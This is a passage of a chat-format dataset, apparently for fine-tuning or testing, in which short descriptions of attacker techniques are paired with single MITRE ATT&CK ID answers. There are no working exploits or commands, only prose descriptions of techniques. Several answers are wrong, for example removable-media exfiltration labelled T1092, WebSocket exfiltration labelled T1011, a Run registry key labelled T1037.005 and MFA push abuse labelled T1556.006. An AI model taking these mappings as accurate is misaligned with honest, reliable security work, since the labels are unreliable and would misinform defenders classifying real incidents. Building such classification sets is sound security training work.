                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explain the tactics involved in a watering hole attack where the primary goal is not initial access but rather long-term surveillance and data collection from specific groups of targets."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited the default 'cpassword' value in Group Policy Preference items to retrieve plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is leveraged to launch distributed brute-force attempts against the RDP service, cycling through common password permutations."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a botnet of infected PCs to conduct distributed credential stuffing against web applications."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan queries the CPU vendor string via CPUID instruction to see if it matches known virtual environment identifiers."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by physically transporting files on a removable SD card inserted into the target system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor opened a WebSocket connection over port 443, encapsulating stolen credentials and sending them to the attacker's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware attack is carried out where the attackers threaten to release sensitive data unless a ransom is paid, in addition to demanding payment for the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a legitimate software supply chain as a means to distribute malicious code, often by compromising a vendor's development environment or through typosquatting."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executed a PowerShell command that starts a background capture session, recording all HTTP and FTP packets for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant enumerates the Windows Event Log channels to determine which logs are enabled and accessible."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a server, the intruder copies database dumps into a private Mercurial repository hosted on an internal server."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program silently copies browser cookies and sends them to a remote server in real time."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker enumerates third‑party domains referencing the victim by searching for links to the target's primary website."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor installs a rogue DNS service on a compromised host to resolve internal names to attacker-controlled IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator scrapes online firmware update histories and release notes to identify missing patches in the victim’s network devices."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder marks its payload files with the Hidden and System NTFS attributes to keep them concealed from standard directory listings."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor edits the ExecStart line of a legitimate systemd service to point to a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a link to a malicious HTML file that uses JavaScript to download additional binaries from a remote server, hiding the download within the page's code to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a counterfeit configuration file and place it in a location that is read before the genuine file due to the system's search order, influencing program behavior."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors obtain a code signing certificate by exploiting a misconfigured certificate enrollment service."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised software supply chain was achieved by gaining access to a hardware OEM’s firmware signing key, allowing the adversary to release signed, malicious firmware updates to devices in the field."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the \"ssh\" command to execute a remote script on a Linux server after gaining credentials."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious documents trigger CMSTP to run a malicious DLL via an INF file, achieving code execution without elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script queried public certificate transparency logs to discover subdomains of the victim."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Access Token Manipulation by spoofing the parent PID, obscuring the malicious process's true origin."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious binaries generate hundreds of potential domains each week, switching to a new domain when previous ones are unreachable, to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds an LC_LOAD_DYLIB load command to a legitimate binary to execute malicious code under the guise of a trusted application."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Windows API to silently add a new domain account for back‑door access."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts credentials by scanning the securityd memory for known password patterns."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is delivered in source form and only compiled on the victim machine, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware clears the Windows Event Log entries related to network connections and removes any stored network configuration files."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the PubPrn service to bypass security controls and execute scripts under the context of a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers purchase a custom-built credential dumping utility on a hacking forum to augment their capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware library includes a function that encrypts data using a DES algorithm and then encodes the result in printable ASCII for transport."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Windows Service Registry: HKLM\\System\\CurrentControlSet\\Services\\<svcname> to point to a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a reverse proxy that forwards incoming SSH connections to internal compromised hosts for C2."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised workload sends a request to the Docker socket (unix:///var/run/docker.sock) to retrieve a list of active containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising credentials, the attacker creates a new domain account for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a misconfigured SAML endpoint to upload fabricated tokens, granting themselves access to the victim's enterprise dashboard."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a compromised signed driver to inject a malicious DLL into a high-privilege system process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a paid threat intelligence service to acquire zero‑day exploit details that align with the target's software stack."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting the /SAFEBOOT switch in the boot loader, the threat actor disables security services."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit changes the contents of files being uploaded to cloud storage in real‑time."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script was executed that changed /etc/audit/auditd.conf to set `log_file = /dev/null`, rendering audit logs useless."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the \"Audit Policy\" settings in the domain GPO, the adversary ensured that successful logons would not be logged, reducing detection chances."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the cron daemon to schedule a Python script that establishes a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a vulnerable stored procedure to bypass application layer controls and execute OS commands."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvested SAML signing certificates and crafted forged SAML assertions to gain access to cloud applications."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a rogue DC in the network to perform credential theft via Kerberos ticket harvesting."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leveraged a compromised user’s device to activate the built‑in camera and stream live video to a remote server for surveillance purposes."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivers a malicious Office macro that downloads a command line argument from a remote server and runs it via the Windows command prompt."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvested API keys and database credentials from AWS Secrets Manager after achieving initial foothold in the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code encrypts exfiltrated files and writes the ciphertext to a staging folder awaiting exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates an attack by using a previously leaked AWS access key and secret key to list all S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses bcdedit to set the boot option to Safe Mode, ensuring that security services are not initialized."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used an executable packer to blend malicious code with benign code, making it appear as a legitimate application."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches open‑source code repositories like GitHub for exposed configuration files that may contain credentials or API keys."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts stored cloud service credentials from a compromised host and uses them to authenticate to the victim's cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious autostart entry is added to the Windows registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool performs reflective DLL injection after creating a dummy explorer.exe process, effectively hollowing it out."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit a DLL hijacking flaw to load their payload and escape antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs WMI to persist a malicious script by registering a new __InstanceCreationEvent filter."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group enumerates network shares, extracts configuration files, and stages them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts the /etc/group file on Linux to list all system groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the cmstp.exe utility to load and execute a malicious DLL via an INF file, leveraging system binary proxy execution for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"podman ps --format json\" to collect container metadata in JSON format."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 creates a malicious macro that leverages an Office exploit to deliver a backdoor onto target machines."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a remote code execution flaw in the exposed Jenkins CI server to deploy a persistent backdoor."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using list planting, the adversary drops a malicious shared object into a directory that is prioritized in the loader's search order, injecting code into victim processes."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed credential stuffing, using leaked passwords from other breaches to gain access to users' Snapchat accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering is used to convince a user to approve a fraudulent MFA push notification, granting the attacker session access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a race condition in a file synchronization tool, the attacker causes it to deadlock, denying file access on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a situation where an adversary conducts reconnaissance by gathering information about a target's network, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs automated scripts that query search engines for the victim’s IP address range combined with filetype:pdf to locate exposed reports."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged the .NET runtime to compile and execute a C# script that harvested environment variables."
            },
            {
                "role": "assistant",
